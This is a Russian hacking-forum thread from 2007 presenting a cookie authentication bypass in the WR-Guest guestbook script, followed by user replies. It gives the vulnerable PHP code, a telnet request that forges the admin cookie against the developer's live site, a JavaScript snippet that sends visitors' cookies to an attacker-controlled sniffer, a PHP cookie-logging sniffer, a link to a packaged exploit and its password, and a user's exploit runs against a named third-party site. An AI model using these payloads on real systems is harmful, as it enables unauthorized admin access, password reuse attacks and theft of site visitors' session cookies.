Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Описание уязвимости гостевой WR-Guest<=1.7M (https://forum.antichat.xyz/showthread.php?t=33365)

Stefun 14.02.2007 00:57

Описание уязвимости гостевой WR-Guest<=1.7M
 
#WR-Guest <=1.7M
------------------------
В первую очередь описание данной уязвимости будет полезно для начинающих, оно не будет интересно продвинутым челам и не является предлогом к действиям запрещенными законами РФ.
Скрипт был написан 07.01. В каком состоянии был автор я незнаю, но точно не в трезвом.))

#Основы
------------
Итак, Cookie — это именованная порция (довольно небольшая) информации, которая может сохраняться прямо в настройках браузера пользователя между сеансами. Причина, по которой применяются Cookies — большое количество посетителей вашего сервера, а также нежелание иметь нечто подобное базе данных для хранения информации о каждом посетителе. Поиск в такой базе может очень и очень затянуться (например, при цифре миллион гостей в день он будет отнимать львиную долю времени), и, в то же время, нет никакого смысла централизованно хранить столь отрывочные сведения. Использование Cookies фактически перекладывает задачу на плечи браузера, решая одним махом как проблему быстродействия, так и проблему большого объема базы данных с информацией о пользователе. Самый распространенный пример применения Cookies — логин и пароль пользователя, использующего некоторые защищенные ресурсы вашего сайта. Эти данные, конечно же, между открытиями страниц хранятся в Cookies, для того чтобы пользователю не пришлось их каждый раз набирать вручную заново.
Котеров Д. В.
Самоучитель PHP 4


#Поехали
-------------
Сама уязвимость данной гостевой книги и заключается в неправильной проверке куки, а точнее в отсутствии ее вообще. Вот участок бажного кода файла admin.php:
Код:

if (!isset($_COOKIE['gbcookies']))  { // проверка на куки

if (!isset($_POST['name']) & !isset($_POST['pass'])) {
/*вывод формы ввода пароля*/;
exit;}
...
// Сверяем введённое имя/пароль с заданным в конфиг файле
if ($name==$adminname & $pass==$adminpass)  {
$tektime=time();
$gbcookies="$adminname|$adminpass|$tektime|";
setcookie("gbcookies", $gbcookies, time()+300);
Header("Location: admin.php"); exit;}
print "$back Ваш данные <B>НЕ верены</B>!</center>"; exit;


// Авторизация пройдена успешно
else {$gbc=$_COOKIE['gbcookies']; $gbc=explode("|", $gbc); $gbname=$gbc[0];$gbpass=$gbc[1];$gbtime=$gbc[2];}

в этом участке проверяется установлены ли куки, если их нет то скрипт выводит форму ввода пароля,а если они есть, то нас пустят в админку, при этом в скрипте не сравнивается значение пароля в кукисах с паролем в конфиге. Т.е. достаточно отправить скрипту куки gbcookies с любым значением и мы в админке!

#Exploit
-------------
Первым делом на ум приходит прителнетиться к хосту и запросить страницу, не забыв отправить куки.
telnet wr-script.ru 80
... ждем коннект...
GET /guest/admin.php HTTP/1.1
Host: wr-script.ru
Cookie: gbcookies=1|admin|12345678|
Enter
Enter
Получаем страницу админки, где можно увидеть пароль админа(admin.php?pswrd=admin). Спрашивается зачем передавать пароль через GET переменную, если есть куки, да еще в открытом виде?! В итоге мы имеем 300 уязвимых гостевых (по запросу в рамблере), если учесть, что некоторые админы ставят одинаковые пароли на разные скрипты, то еще и форумы получим. Или есть пароль на гостевуху adminguest, то методом дедукции разгадаем пароль к форуму(adminforum). Для более наглых можно впихнуть в текст приветствия гостевухи javascript, который будет отправлять куки на ваш снифер:
Код:

<script>var d=new Image;d.src='http://site/s.php?a='+document.cookie;</script>
Мини снифер:
Код:

<?php 
if(isset($_GET['a']) && !empty($_GET['a'])){
$f=fopen("log.txt","a");
fputs($f,$_GET['a']."\n");
fclose($f);
}
?>

Для удобной эксплуатации я накатал сплойт для этой гостевухи, который показывает пароль админа. Сплойт можно скачать отсюда ckyhc.t35.com/wr-guest.rar . В архиве лежит сходник(Linux+Windows) и бинарник для винды.
http://anuta-rebenok.by.ru/pic/10.jpg
http://anuta-rebenok.by.ru/pic/11.jpg
#Ссылки
------------
wr-script.ru - разработчик WR-Guest, можно поглумиться на форуме
ckyhc.t35.com/wr-guest.rar - на архив стоит пароль, кому нужен пароль стучите к REDSaratov'у в аську 353676415 или пишите мне на gasoid[+]gmail.com

Статью подготовили и испытали уязвимость Stefun и REDSaratov.

zl0y 18.03.2007 12:03

Выложите пасс плиз =))

GOOFY 18.03.2007 12:21

дубликат сабжа?

GOOFY 18.03.2007 12:29

zl0y,
пасс хэкнут :) - piskarik123$%

Morph 18.03.2007 12:32

Бляяяя, пиздец полный...
У нас в квесте эта геста была ее поломать надо было, все каюк блять терь новый двиг искать и баги в нем....

ЗыЗы кстате где то выкладывал я эту батву....

~!DoK_tOR!~ 19.03.2007 06:53

а пасс брутом брать что ли...

Stefun 19.03.2007 23:47

пишите на почту gasoid[+]gmail.com, кому пасс нужен.

~GroM~ 20.03.2007 07:10

а можно узнать чем он там кодируется? я имею ввиду пас в этом движке

Stefun 20.03.2007 16:04

Ничем, голый текст

~GroM~ 21.03.2007 08:00

вот запускаю прогу она мне показывает следующее
запуск с ошибочными параметрами

C:\>wr-guest.exe www.korolkov.net/g1b/index.php

*** Target: WR-Guest <=1.7M ***

* Site [www.korolkov.net]
* Path [/g1b/]
* Connect [OK]
* Send cookies [OK]


запуск с правильными параметрами


C:\>wr-guest.exe www.korolkov.net/gb/index.php

*** Target: WR-Guest <=1.7M ***

* Site [www.korolkov.net]
* Path [/gb/]
* Connect [OK]
* Send cookies [OK]


почему нет ни какого различия ? ведь директория неправильная а все равно показывает ОК


Время: 23:28